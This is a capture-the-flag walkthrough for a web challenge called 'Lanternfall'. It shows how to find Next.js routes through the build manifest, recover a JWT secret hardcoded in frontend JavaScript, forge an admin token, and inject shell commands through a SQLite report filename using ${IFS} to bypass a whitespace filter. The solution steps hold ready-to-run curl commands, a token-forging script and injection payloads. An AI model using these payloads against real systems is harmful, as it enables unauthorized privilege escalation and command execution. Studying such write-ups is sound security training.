Lanternfall
Lanternfall
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: file_exfiltration_via_admin_api, hardcoded_jwt_secret_in_frontend_js, jwt_forgery_privilege_escalation, nextjs_build_manifest_route_disclosure, sqlite_output_command_injection, whitespace_filter_bypass_with_ifs
Summary
Walkthrough of the CUSTOM Web Lanternfall. Task: Next.js web app with nginx, hidden admin panel, hardcoded JWT secret in frontend JS, and command injection via SQLite .output filename parameter. Solution: Discover routes via _buildManifest.js,
Description
Ayame has spent years weaving information networks through Gekkō's alleys, favoring precision strikes over reckless blades. Lately she suspects a rival clan has hijacked her moonlit gallery, twisting it into a staging ground for hushed deals and pilfered secrets. She needs a careful ally—someone to slip through the lantern-lit facade, catalogue the tampering, and restore balance without shattering the trust of the people she protects.
English summary: A Next.js web application served behind nginx with an admin panel. The goal is to gain admin access and exploit a command injection vulnerability to read the flag from the server filesystem.
Analysis
Route Discovery via Build Manifest
The target is a Next.js application behind nginx. Next.js exposes a build manifest file at a predictable path that lists all application routes:
/_next/static/UXFKW7UGDZYyKh9G8IB5w/_buildManifest.js
This revealed the following routes:
/— index page/admin— admin panel/unauthorized— access denied page/404— custom error page
Hardcoded JWT Secret in Frontend JavaScript
The admin page JS chunk was publicly accessible:
/_next/static/chunks/pages/admin-8fd9c6420ad81ca8.js
Inside this chunk, a token forge function contained the JWT signing secret in the X-Lantern-Sigil header value:
ayame_moonlight_gekko_secret_key_for_jwt_signing_do_not_use_in_production_2024
The same JS chunk also revealed the full API surface:
POST /api/auth/login— user loginPOST /api/auth/register— user registrationPOST /api/admin/reports— report generation (admin-only)POST /api/admin/tokens— token forge (admin-only)GET /api/admin/files— file browser (admin-only)
Command Injection in Report Filename
The /api/admin/reports endpoint accepts JSON with reportType, format, and filename fields. The filename parameter is passed directly to SQLite's .output command, which is executed via a shell — creating an OS command injection vector. A whitespace filter blocks spaces in the filename, but this is trivially bypassed using ${IFS}.
Solution
Step 1: Register a User Account
bash read-only • copy allowedcurl -s -X POST http://TARGET/api/auth/register \ -H 'Content-Type: application/json' \ -d '{"username":"hacker","email":"hacker@test.com","password":"password123"}'
Step 2: Forge an Admin JWT
Using the leaked secret from the frontend JS chunk:
python read-only • copy allowed#!/usr/bin/env python3 import jwt secret = 'ayame_moonlight_gekko_secret_key_for_jwt_signing_do_not_use_in_production_2024' payload = { 'id': 1, 'username': 'hacker', 'email': 'hacker@test.com', 'role': 'admin' } token = jwt.encode(payload, secret, algorithm='HS256') print(token)
Step 3: Verify Admin Access
bash read-only • copy allowedTOKEN="<forged_jwt_token>" # Test admin endpoint curl -s http://TARGET/api/admin/files?filename=test \ -H "Authorization: Bearer $TOKEN"
Step 4: Confirm Command Injection
bash read-only • copy allowed# Inject $(id) into filename — whitespace not needed here curl -s -X POST http://TARGET/api/admin/reports \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"reportType":"user_activity","format":"csv","filename":"$(id).csv"}'
The response included gid=65533(nogroup) in the error output, confirming OS command injection.
Step 5: Exfiltrate the Flag
The server filters whitespace in the filename. Bypass using ${IFS} (Internal Field Separator) as a space substitute:
bash read-only • copy allowed# Write flag to a known location in the reports directory curl -s -X POST http://TARGET/api/admin/reports \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"reportType":"user_activity","format":"csv","filename":"$(cat${IFS}/flag*${IFS}>/tmp/reports/flag.txt)out.csv"}' # Read the flag via the admin file browser curl -s "http://TARGET/api/admin/files?filename=flag.txt" \ -H "Authorization: Bearer $TOKEN"
Key Takeaways / Lessons
- Mastering file_exfiltration_via_admin_api, hardcoded_jwt_secret_in_frontend_js, jwt_forgery_privilege_escalation, nextjs_build_manifest_route_disclosure, sqlite_output_command_injection, whitespace_filter_bypass_with_ifs was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-02 • CUSTOM • Lanternfall • Difficulty: Easy